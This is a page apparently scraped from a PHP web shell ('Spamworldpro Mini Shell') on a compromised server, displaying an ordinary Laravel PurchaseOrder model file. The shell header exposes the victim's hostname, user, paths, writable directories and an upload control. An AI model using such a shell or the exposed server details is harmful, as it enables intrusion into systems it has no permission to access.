Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/medad.corals.io/Corals/modules/Medad/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/medad.corals.io/Corals/modules/Medad/Models/PurchaseOrder.php
<?php

namespace Corals\Modules\Medad\Models;

use Corals\Foundation\Models\BaseModel;
use Corals\Foundation\Traits\ModelUniqueCode;
use Corals\Foundation\Transformers\PresentableTrait;
use Corals\Modules\Medad\Traits\CanBeNotified;
use Corals\Modules\Medad\Traits\ModelUsersTrait;
use Corals\Modules\Medad\Traits\ProjectItemCommonTrait;
use Corals\Modules\Utility\Traits\Comment\ModelHasComments;
use Spatie\Activitylog\Traits\LogsActivity;
use Spatie\MediaLibrary\HasMedia;
use Spatie\MediaLibrary\InteractsWithMedia;

class PurchaseOrder extends BaseModel implements HasMedia
{
    use PresentableTrait, LogsActivity, ModelUniqueCode, InteractsWithMedia, ModelHasComments, ProjectItemCommonTrait, ModelUsersTrait
        , CanBeNotified;

    protected $formModalConfig = ['size' => 'modal-lg'];

    static public $codePrefix = 'PO';
    /**
     *  Model configuration.
     * @var string
     */
    public $config = 'medad.models.purchase_order';


    protected $table = 'medad_purchase_orders';

    protected $casts = [
        'properties' => 'json',
    ];

    protected $guarded = ['id'];

    public function quotation()
    {
        return $this->belongsTo(Quotation::class);
    }

    public function invoices()
    {
        return $this->hasMany(Invoice::class);
    }

    public function deliveryNotes()
    {
        return $this->hasMany(DeliveryNote::class);
    }

    public function getNewInvoiceDefaultValue($column)
    {
        $sum = $this->invoices()
            ->sum($column);
        $diff = $this->{$column} - $sum;

        return max($diff, 0);
    }

    public function getNewDeliveryNoteDefaultValue($column)
    {
        $sum = $this->deliveryNotes()
            ->sum($column);
        $diff = $this->{$column} - $sum;

        return max($diff, 0);
    }

    public function getNotifiables($target = 'both')
    {
        $supplierNotifiables = [];
        $customerNotifiables = [];

        $purchaseOrder = $this->owner->get()->merge($this->receivers);

        if ($this->receivers) {
            $purchaseOrder->merge($this->receivers);
        }

        if ($this->project) {
            $purchaseOrder->merge($this->project->getNotifiables());
        }

        return $purchaseOrder;
    }

}

Spamworldpro Mini